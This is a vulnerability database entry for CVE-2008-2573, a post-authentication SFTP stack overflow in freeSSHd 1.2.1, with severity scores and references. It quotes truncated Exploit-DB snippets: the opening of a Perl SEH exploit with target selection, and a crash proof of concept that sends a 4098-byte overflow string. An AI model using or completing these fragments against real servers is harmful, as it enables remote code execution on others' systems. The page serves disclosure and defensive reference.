CVE-2008-2573
published 2008-06-06CVE-2008-2573: Stack-based buffer overflow in SFTP in freeSSHd 1.2.1 allows remote authenticated users to execute arbitrary code via a long directory name in an…
PriorityP349high8.5CVSS 2.0
AVNACMAuSCCICAC
EXPLOIT
EPSS
5.61%
92.0th percentile
Stack-based buffer overflow in SFTP in freeSSHd 1.2.1 allows remote authenticated users to execute arbitrary code via a long directory name in an SSH_FXP_OPENDIR (aka opendir) command.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| freesshd | freesshd | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
freeSSHd 1.2.1 - (Authenticated) Remote Overflow (SEH)
exploitdb·2008-06-06
CVE-2008-2573 freeSSHd 1.2.1 - (Authenticated) Remote Overflow (SEH)
freeSSHd 1.2.1 - (Authenticated) Remote Overflow (SEH)
---
#!/usr/bin/perl
###############################################################################
# FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow http://freeddsshd.com/ #
# Exploit based on securfrog Poc http://www.milw0rm.com/exploits/5709 #
# #
# Coded by Matteo Memelli aka ryujin #
# `Spaghetti & PwnSauce` #
# >> http://www.be4mind.com http://www.gray-world.net > rm thisJunk #
# #
###############################################################################
use strict;
use Net::SSH2;
my $numArgs = $#ARGV + 1;
if ($numArgs != 5) {
print "Usage : ./freeSSHD_exploit.pl HOST PORT USER PASS TARGET\n";
print "TARGET: 1 -> XPSP2\n";
print "TARGET: 2 -> VISTA\n";
exit;
}
# [*] Using Msf::Encoder::PexAlphaNum with final size of 709
Exploit-DB
freeSSHd 1.2.1 - (Authenticated) Remote Stack Overflow (PoC)
exploitdb·2008-05-31
CVE-2008-2573 freeSSHd 1.2.1 - (Authenticated) Remote Stack Overflow (PoC)
freeSSHd 1.2.1 - (Authenticated) Remote Stack Overflow (PoC)
---
###############################################################################
# FreeSSHD remote Buffer Overflow
#
# Website: http://freesshd.com/
#
# Version:1.2.1
#
# Bug: Remote Buffer Overflow ( CD)
#
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=00000001 ebx=00000000 ecx=41414141 edx=00150608 esi=00c268f0 edi=00c268f0
#eip=41414141 esp=00127c10 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
#41414141 ?? ???
#
# Poc:
use strict;
use Net::SSH2;
my $ip="127.0.0.1";
my $port=22;
my $user="YOUR_USER";
my $pass="YOUR_PASS";
my $ssh2 = Net::SSH2->new();
my $payload ="A" x 4098;
$ssh2->connect(
No writeups or analysis indexed.
http://secunia.com/advisories/30498http://www.securityfocus.com/archive/1/493180/100/0/threadedhttp://www.securityfocus.com/bid/29453http://www.securitytracker.com/id?1020212http://www.vupen.com/english/advisories/2008/1711/referenceshttps://www.exploit-db.com/exploits/5709https://www.exploit-db.com/exploits/5751http://secunia.com/advisories/30498http://www.securityfocus.com/archive/1/493180/100/0/threadedhttp://www.securityfocus.com/bid/29453http://www.securitytracker.com/id?1020212http://www.vupen.com/english/advisories/2008/1711/referenceshttps://www.exploit-db.com/exploits/5709https://www.exploit-db.com/exploits/5751
2008-06-06
Published